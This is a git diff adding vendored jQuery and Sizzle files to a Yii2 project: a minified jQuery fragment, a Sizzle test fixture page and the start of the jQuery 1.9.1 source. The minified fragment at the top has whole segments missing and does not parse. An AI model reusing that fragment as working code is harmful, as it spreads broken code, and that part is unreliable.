e}return"object"==typeof a?this.each(function(){m.data(this,a)}):arguments.length>1?this.each(function(){m.data(this,a,b)}):f?O(f,a,m.data(f,a)):void 0},removeData:function(a){return this.each(function(){m.removeData(this,a)})}}),m.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=m._data(a,b),c&&(!d||m.isArray(c)?d=m._data(a,b,m.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=m.queue(a,b),d=c.length,e=c.shift(),f=m._queueHooks(a,b),g=function(){m.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return m._data(a,c)||m._data(a,c,{empty:m.Callbacks("once memory").add(function(){m._removeData(a,b+"queue"),m._removeData(a,c)})})}}),m.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},W=/^(?:checkbox|radio)$/i;!function(){var a=y.createElement("input"),b=y.createElement("div"),c=y.createDocumentFragment();if(b.innerHTML="
a",k.leadingWhitespace=3===b.firstChild.nodeType,k.tbody=!b.getElementsByTagName("tbody").length,k.htmlSerialize=!!b.getElementsByTagName("link").length,k.html5Clone="<:nav>"!==y.createElement("nav").cloneNode(!0).outerHTML,a.type="checkbox",a.checked=!0,c.appendChild(a),k.appendChecked=a.checked,b.innerHTML="",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,c.appendChild(b),b.innerHTML="",k.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,k.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){k.noCloneEvent=!1}),b.cloneNode(!0).click()),null==k.deleteExpando){k.deleteExpando=!0;try{delete b.test}catch(d){k.deleteExpando=!1}}}(),function(){var b,c,d=y.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(k[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),k[b+"Bubbles"]=d.attributes[c].expando===!1);d=null}();var X=/^(?:input|select|textarea)$/i,Y=/^key/,Z=/^(?:mouse|pointer|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=/^([^.]*)(?:\.(.+)|)$/;function ab(){return!0}function bb(){return!1}function cb(){try{return y.activeElement}catch(a){}}m.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=m.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof m===K||a&&m.event.triggered===a.type?void 0:m.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(E)||[""],h=b.length;while(h--)f=_.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=m.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=m.event.special[o]||{},l=m.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&m.expr.match.needsContext.test(e),namespace:p.join(".")},i),(n=g[o])||(n=g[o]=[],n.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?n.splice(n.delegateCount++,0,l):n.push(l),m.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m.hasData(a)&&m._data(a);if(r&&(k=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=_.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=m.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,n=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=n.length;while(f--)g=n[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(n.splice(f,1),g.selector&&n.delegateCount--,l.remove&&l.remove.call(a,g));i&&!n.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||m.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)m.event.remove(a,o+b[j],c,d,!0);m.isEmptyObject(k)&&(delete r.handle,m._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,n,o=[d||y],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||y,3!==d.nodeType&&8!==d.nodeType&&!$.test(p+m.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[m.expando]?b:new m.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:m.makeArray(c,[b]),k=m.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!m.isWindow(d)){for(i=k.delegateType||p,$.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||y)&&o.push(l.defaultView||l.parentWindow||a)}n=0;while((h=o[n++])&&!b.isPropagationStopped())b.type=n>1?i:k.bindType||p,f=(m._data(h,"events")||{})[b.type]&&m._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&m.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&m.acceptData(d)&&g&&d[p]&&!m.isWindow(d)){l=d[g],l&&(d[g]=null),m.event.triggered=p;try{d[p]()}catch(r){}m.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=m.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(m._data(this,"events")||{})[a.type]||[],k=m.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=m.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((m.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?m(c,this).index(i)>=0:m.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h]","i"),hb=/^\s+/,ib=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,jb=/<([\w:]+)/,kb=/\s*$/g,rb={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:k.htmlSerialize?[0,"",""]:[1,"X
","
"]},sb=db(y),tb=sb.appendChild(y.createElement("div"));rb.optgroup=rb.option,rb.tbody=rb.tfoot=rb.colgroup=rb.caption=rb.thead,rb.th=rb.td;function ub(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==K?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==K?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||m.nodeName(d,b)?f.push(d):m.merge(f,ub(d,b));return void 0===b||b&&m.nodeName(a,b)?m.merge([a],f):f}function vb(a){W.test(a.type)&&(a.defaultChecked=a.checked)}function wb(a,b){return m.nodeName(a,"table")&&m.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function xb(a){return a.type=(null!==m.find.attr(a,"type"))+"/"+a.type,a}function yb(a){var b=pb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function zb(a,b){for(var c,d=0;null!=(c=a[d]);d++)m._data(c,"globalEval",!b||m._data(b[d],"globalEval"))}function Ab(a,b){if(1===b.nodeType&&m.hasData(a)){var c,d,e,f=m._data(a),g=m._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)m.event.add(b,c,h[c][d])}g.data&&(g.data=m.extend({},g.data))}}function Bb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!k.noCloneEvent&&b[m.expando]){e=m._data(b);for(d in e.events)m.removeEvent(b,d,e.handle);b.removeAttribute(m.expando)}"script"===c&&b.text!==a.text?(xb(b).text=a.text,yb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),k.html5Clone&&a.innerHTML&&!m.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&W.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}m.extend({clone:function(a,b,c){var d,e,f,g,h,i=m.contains(a.ownerDocument,a);if(k.html5Clone||m.isXMLDoc(a)||!gb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(tb.innerHTML=a.outerHTML,tb.removeChild(f=tb.firstChild)),!(k.noCloneEvent&&k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||m.isXMLDoc(a)))for(d=ub(f),h=ub(a),g=0;null!=(e=h[g]);++g)d[g]&&Bb(e,d[g]);if(b)if(c)for(h=h||ub(a),d=d||ub(f),g=0;null!=(e=h[g]);g++)Ab(e,d[g]);else Ab(a,f);return d=ub(f,"script"),d.length>0&&zb(d,!i&&ub(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,l,n=a.length,o=db(b),p=[],q=0;n>q;q++)if(f=a[q],f||0===f)if("object"===m.type(f))m.merge(p,f.nodeType?[f]:f);else if(lb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(jb.exec(f)||["",""])[1].toLowerCase(),l=rb[i]||rb._default,h.innerHTML=l[1]+f.replace(ib,"<$1>")+l[2],e=l[0];while(e--)h=h.lastChild;if(!k.leadingWhitespace&&hb.test(f)&&p.push(b.createTextNode(hb.exec(f)[0])),!k.tbody){f="table"!==i||kb.test(f)?""!==l[1]||kb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)m.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}m.merge(p,h.childNodes),h.textContent="";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),k.appendChecked||m.grep(ub(p,"input"),vb),q=0;while(f=p[q++])if((!d||-1===m.inArray(f,d))&&(g=m.contains(f.ownerDocument,f),h=ub(o.appendChild(f),"script"),g&&zb(h),c)){e=0;while(f=h[e++])ob.test(f.type||"")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=m.expando,j=m.cache,l=k.deleteExpando,n=m.event.special;null!=(d=a[h]);h++)if((b||m.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)n[e]?m.event.remove(d,e):m.removeEvent(d,e,g.handle);j[f]&&(delete j[f],l?delete d[i]:typeof d.removeAttribute!==K?d.removeAttribute(i):d[i]=null,c.push(f))}}}),m.fn.extend({text:function(a){return V(this,function(a){return void 0===a?m.text(this):this.empty().append((this[0]&&this[0].ownerDocument||y).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?m.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||m.cleanData(ub(c)),c.parentNode&&(b&&m.contains(c.ownerDocument,c)&&zb(ub(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&m.cleanData(ub(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&m.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return m.clone(this,a,b)})},html:function(a){return V(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(fb,""):void 0;if(!("string"!=typeof a||mb.test(a)||!k.htmlSerialize&&gb.test(a)||!k.leadingWhitespace&&hb.test(a)||rb[(jb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(ib,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(m.cleanData(ub(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,m.cleanData(ub(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,n=this,o=l-1,p=a[0],q=m.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&nb.test(p))return this.each(function(c){var d=n.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(i=m.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=m.map(ub(i,"script"),xb),f=g.length;l>j;j++)d=i,j!==o&&(d=m.clone(d,!0,!0),f&&m.merge(g,ub(d,"script"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,m.map(g,yb),j=0;f>j;j++)d=g[j],ob.test(d.type||"")&&!m._data(d,"globalEval")&&m.contains(h,d)&&(d.src?m._evalUrl&&m._evalUrl(d.src):m.globalEval((d.text||d.textContent||d.innerHTML||"").replace(qb,"")));i=c=null}return this}}),m.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){m.fn[a]=function(a){for(var c,d=0,e=[],g=m(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),m(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Cb,Db={};function Eb(b,c){var d,e=m(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:m.css(e[0],"display");return e.detach(),f}function Fb(a){var b=y,c=Db[a];return c||(c=Eb(a,b),"none"!==c&&c||(Cb=(Cb||m(" + + + + +
+ +
+ + + + +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ +
+
hi there
+
+
+
+
+
+
+
+ +
+
+
+ + +
+ + +
+ + +
C
+
+
+ +
+
    +
  1. Rice
  2. +
  3. Beans
  4. +
  5. Blinis
  6. +
  7. Tofu
  8. +
+ +
I'm hungry. I should...
+ ...Eat lots of food... | + ...Eat a little food... | + ...Eat no food... + ...Eat a burger... + ...Eat some funyuns... + ...Eat some funyuns... +
+ +
+ + +
+ +
+ 1 + 2 + + + + + + + + +
​ + + +
+ + diff --git a/php/yii2/basic/vendor/bower/jquery/src/sizzle/test/jquery.js b/php/yii2/basic/vendor/bower/jquery/src/sizzle/test/jquery.js new file mode 100644 index 00000000..86a33051 --- /dev/null +++ b/php/yii2/basic/vendor/bower/jquery/src/sizzle/test/jquery.js @@ -0,0 +1,9597 @@ +/*! + * jQuery JavaScript Library v1.9.1 + * http://jquery.com/ + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * + * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors + * Released under the MIT license + * http://jquery.org/license + * + * Date: 2013-2-4 + */ +(function( window, undefined ) { + +// Can't do this because several apps including ASP.NET trace +// the stack via arguments.caller.callee and Firefox dies if +// you try to trace through "use strict" call chains. (#13335) +// Support: Firefox 18+ +//"use strict"; +var + // The deferred used on DOM ready + readyList, + + // A central reference to the root jQuery(document) + rootjQuery, + + // Support: IE<9 + // For `typeof node.method` instead of `node.method !== undefined` + core_strundefined = typeof undefined, + + // Use the correct document accordingly with window argument (sandbox) + document = window.document, + location = window.location, + + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + + // Map over the $ in case of overwrite + _$ = window.$, + + // [[Class]] -> type pairs + class2type = {}, + + // List of deleted data cache ids, so we can reuse them + core_deletedIds = [], + + core_version = "1.9.1", + + // Save a reference to some core methods + core_concat = core_deletedIds.concat, + core_push = core_deletedIds.push, + core_slice = core_deletedIds.slice, + core_indexOf = core_deletedIds.indexOf, + core_toString = class2type.toString, + core_hasOwn = class2type.hasOwnProperty, + core_trim = core_version.trim, + + // Define a local copy of jQuery + jQuery = function( selector, context ) { + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context, rootjQuery ); + }, + + // Used for matching numbers + core_pnum = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, + + // Used for splitting on whitespace + core_rnotwhite = /\S+/g, + + // Make sure we trim BOM and NBSP (here's looking at you, Safari 5.0 and IE) + rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, + + // A simple way to check for HTML strings + // Prioritize #id over to avoid XSS via location.hash (#9521) + // Strict HTML recognition (#11290: must start with <) + rquickExpr = /^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/, + + // Match a standalone tag + rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, + + // JSON RegExp + rvalidchars = /^[\],:{}\s]*$/, + rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g, + rvalidescape = /\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g, + rvalidtokens = /"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g, + + // Matches dashed string for camelizing + rmsPrefix = /^-ms-/, + rdashAlpha = /-([\da-z])/gi, + + // Used by jQuery.camelCase as callback to replace() + fcamelCase = function( all, letter ) { + return letter.toUpperCase(); + }, + + // The ready event handler + completed = function( event ) { + + // readyState === "complete" is good enough for us to call the dom ready in oldIE + if ( document.addEventListener || event.type === "load" || document.readyState === "complete" ) { + detach(); + jQuery.ready(); + } + }, + // Clean-up method for dom ready events + detach = function() { + if ( document.addEventListener ) { + document.removeEventListener( "DOMContentLoaded", completed, false ); + window.removeEventListener( "load", completed, false ); + + } else { + document.detachEvent( "onreadystatechange", completed ); + window.detachEvent( "onload", completed ); + } + }; + +jQuery.fn = jQuery.prototype = { + // The current version of jQuery being used + jquery: core_version, + + constructor: jQuery, + init: function( selector, context, rootjQuery ) { + var match, elem; + + // HANDLE: $(""), $(null), $(undefined), $(false) + if ( !selector ) { + return this; + } + + // Handle HTML strings + if ( typeof selector === "string" ) { + if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { + // Assume that strings that start and end with <> are HTML and skip the regex check + match = [ null, selector, null ]; + + } else { + match = rquickExpr.exec( selector ); + } + + // Match html or make sure no context is specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) { + context = context instanceof jQuery ? context[0] : context; + + // scripts is true for back-compat + jQuery.merge( this, jQuery.parseHTML( + match[1], + context && context.nodeType ? context.ownerDocument || context : document, + true + ) ); + + // HANDLE: $(html, props) + if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) { + for ( match in context ) { + // Properties of context are called as methods if possible + if ( jQuery.isFunction( this[ match ] ) ) { + this[ match ]( context[ match ] ); + + // ...and otherwise set as attributes + } else { + this.attr( match, context[ match ] ); + } + } + } + + return this; + + // HANDLE: $(#id) + } else { + elem = document.getElementById( match[2] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id !== match[2] ) { + return rootjQuery.find( selector ); + } + + // Otherwise, we inject the element directly into the jQuery object + this.length = 1; + this[0] = elem; + } + + this.context = document; + this.selector = selector; + return this; + } + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return ( context || rootjQuery ).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return this.constructor( context ).find( selector ); + } + + // HANDLE: $(DOMElement) + } else if ( selector.nodeType ) { + this.context = this[0] = selector; + this.length = 1; + return this; + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) { + return rootjQuery.ready( selector ); + } + + if ( selector.selector !== undefined ) { + this.selector = selector.selector; + this.context = selector.context; + } + + return jQuery.makeArray( selector, this ); + }, + + // Start with an empty selector + selector: "", + + // The default length of a jQuery object is 0 + length: 0, + + // The number of elements contained in the matched element set + size: function() { + return this.length; + }, + + toArray: function() { + return core_slice.call( this ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + return num == null ? + + // Return a 'clean' array + this.toArray() : + + // Return just the object + ( num < 0 ? this[ this.length + num ] : this[ num ] ); + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems ) { + + // Build a new jQuery matched element set + var ret = jQuery.merge( this.constructor(), elems ); + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + ret.context = this.context; + + // Return the newly-formed element set + return ret; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + return jQuery.each( this, callback, args ); + }, + + ready: function( fn ) { + // Add the callback + jQuery.ready.promise().done( fn ); + + return this; + }, + + slice: function() { + return this.pushStack( core_slice.apply( this, arguments ) ); + }, + + first: function() { + return this.eq( 0 ); + }, + + last: function() { + return this.eq( -1 ); + }, + + eq: function( i ) { + var len = this.length, + j = +i + ( i < 0 ? len : 0 ); + return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] ); + }, + + map: function( callback ) { + return this.pushStack( jQuery.map(this, function( elem, i ) { + return callback.call( elem, i, elem ); + })); + }, + + end: function() { + return this.prevObject || this.constructor(null); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: core_push, + sort: [].sort, + splice: [].splice +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +jQuery.extend = jQuery.fn.extend = function() { + var src, copyIsArray, copy, name, options, clone, + target = arguments[0] || {}, + i = 1, + length = arguments.length, + deep = false; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) { + target = {}; + } + + // extend jQuery itself if only one argument is passed + if ( length === i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) { + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) { + // Extend the base object + for ( name in options ) { + src = target[ name ]; + copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) { + continue; + } + + // Recurse if we're merging plain objects or arrays + if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { + if ( copyIsArray ) { + copyIsArray = false; + clone = src && jQuery.isArray(src) ? src : []; + + } else { + clone = src && jQuery.isPlainObject(src) ? src : {}; + } + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend({ + noConflict: function( deep ) { + if ( window.$ === jQuery ) { + window.$ = _$; + } + + if ( deep && window.jQuery === jQuery ) { + window.jQuery = _jQuery; + } + + return jQuery; + }, + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // A counter to track how many items to wait for before + // the ready event fires. See #6781 + readyWait: 1, + + // Hold (or release) the ready event + holdReady: function( hold ) { + if ( hold ) { + jQuery.readyWait++; + } else { + jQuery.ready( true ); + } + }, + + // Handle when the DOM is ready + ready: function( wait ) { + + // Abort if there are pending holds or we're already ready + if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { + return; + } + + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( !document.body ) { + return setTimeout( jQuery.ready ); + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If a normal DOM Ready event fired, decrement, and wait if need be + if ( wait !== true && --jQuery.readyWait > 0 ) { + return; + } + + // If there are functions bound, to execute + readyList.resolveWith( document, [ jQuery ] ); + + // Trigger any bound ready events + if ( jQuery.fn.trigger ) { + jQuery( document ).trigger("ready").off("ready"); + } + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + return jQuery.type(obj) === "function"; + }, + + isArray: Array.isArray || function( obj ) { + return jQuery.type(obj) === "array"; + }, + + isWindow: function( obj ) { + return obj != null && obj == obj.window; + }, + + isNumeric: function( obj ) { + return !isNaN( parseFloat(obj) ) && isFinite( obj ); + }, + + type: function( obj ) { + if ( obj == null ) { + return String( obj ); + } + return typeof obj === "object" || typeof obj === "function" ? + class2type[ core_toString.call(obj) ] || "object" : + typeof obj; + }, + + isPlainObject: function( obj ) { + // Must be an Object. + // Because of IE, we also have to check the presence of the constructor property. + // Make sure that DOM nodes and window objects don't pass through, as well + if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { + return false; + } + + try { + // Not own constructor property must be Object + if ( obj.constructor && + !core_hasOwn.call(obj, "constructor") && + !core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { + return false; + } + } catch ( e ) { + // IE8,9 Will throw exceptions on certain host objects #9897 + return false; + } + + // Own properties are enumerated firstly, so to speed up, + // if last one is own, then all properties are own. + + var key; + for ( key in obj ) {} + + return key === undefined || core_hasOwn.call( obj, key ); + }, + + isEmptyObject: function( obj ) { + var name; + for ( name in obj ) { + return false; + } + return true; + }, + + error: function( msg ) { + throw new Error( msg ); + }, + + // data: string of html + // context (optional): If specified, the fragment will be created in this context, defaults to document + // keepScripts (optional): If true, will include scripts passed in the html string + parseHTML: function( data, context, keepScripts ) { + if ( !data || typeof data !== "string" ) { + return null; + } + if ( typeof context === "boolean" ) { + keepScripts = context; + context = false; + } + context = context || document; + + var parsed = rsingleTag.exec( data ), + scripts = !keepScripts && []; + + // Single tag + if ( parsed ) { + return [ context.createElement( parsed[1] ) ]; + } + + parsed = jQuery.buildFragment( [ data ], context, scripts ); + if ( scripts ) { + jQuery( scripts ).remove(); + } + return jQuery.merge( [], parsed.childNodes ); + }, + + parseJSON: function( data ) { + // Attempt to parse using the native JSON parser first + if ( window.JSON && window.JSON.parse ) { + return window.JSON.parse( data ); + } + + if ( data === null ) { + return data; + } + + if ( typeof data === "string" ) { + + // Make sure leading/trailing whitespace is removed (IE can't handle it) + data = jQuery.trim( data ); + + if ( data ) { + // Make sure the incoming data is actual JSON + // Logic borrowed from http://json.org/json2.js + if ( rvalidchars.test( data.replace( rvalidescape, "@" ) + .replace( rvalidtokens, "]" ) + .replace( rvalidbraces, "")) ) { + + return ( new Function( "return " + data ) )(); + } + } + } + + jQuery.error( "Invalid JSON: " + data ); + }, + + // Cross-browser xml parsing + parseXML: function( data ) { + var xml, tmp; + if ( !data || typeof data !== "string" ) { + return null; + } + try { + if ( window.DOMParser ) { // Standard + tmp = new DOMParser(); + xml = tmp.parseFromString( data , "text/xml" ); + } else { // IE + xml = new ActiveXObject( "Microsoft.XMLDOM" ); + xml.async = "false"; + xml.loadXML( data ); + } + } catch( e ) { + xml = undefined; + } + if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) { + jQuery.error( "Invalid XML: " + data ); + } + return xml; + }, + + noop: function() {}, + + // Evaluates a script in a global context + // Workarounds based on findings by Jim Driscoll + // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context + globalEval: function( data ) { + if ( data && jQuery.trim( data ) ) { + // We use execScript on Internet Explorer + // We use an anonymous function so that context is window + // rather than jQuery in Firefox + ( window.execScript || function( data ) { + window[ "eval" ].call( window, data ); + } )( data ); + } + }, + + // Convert dashed to camelCase; used by the css and data modules + // Microsoft forgot to hump their vendor prefix (#9572) + camelCase: function( string ) { + return string.replace( rmsPrefix, "ms-" 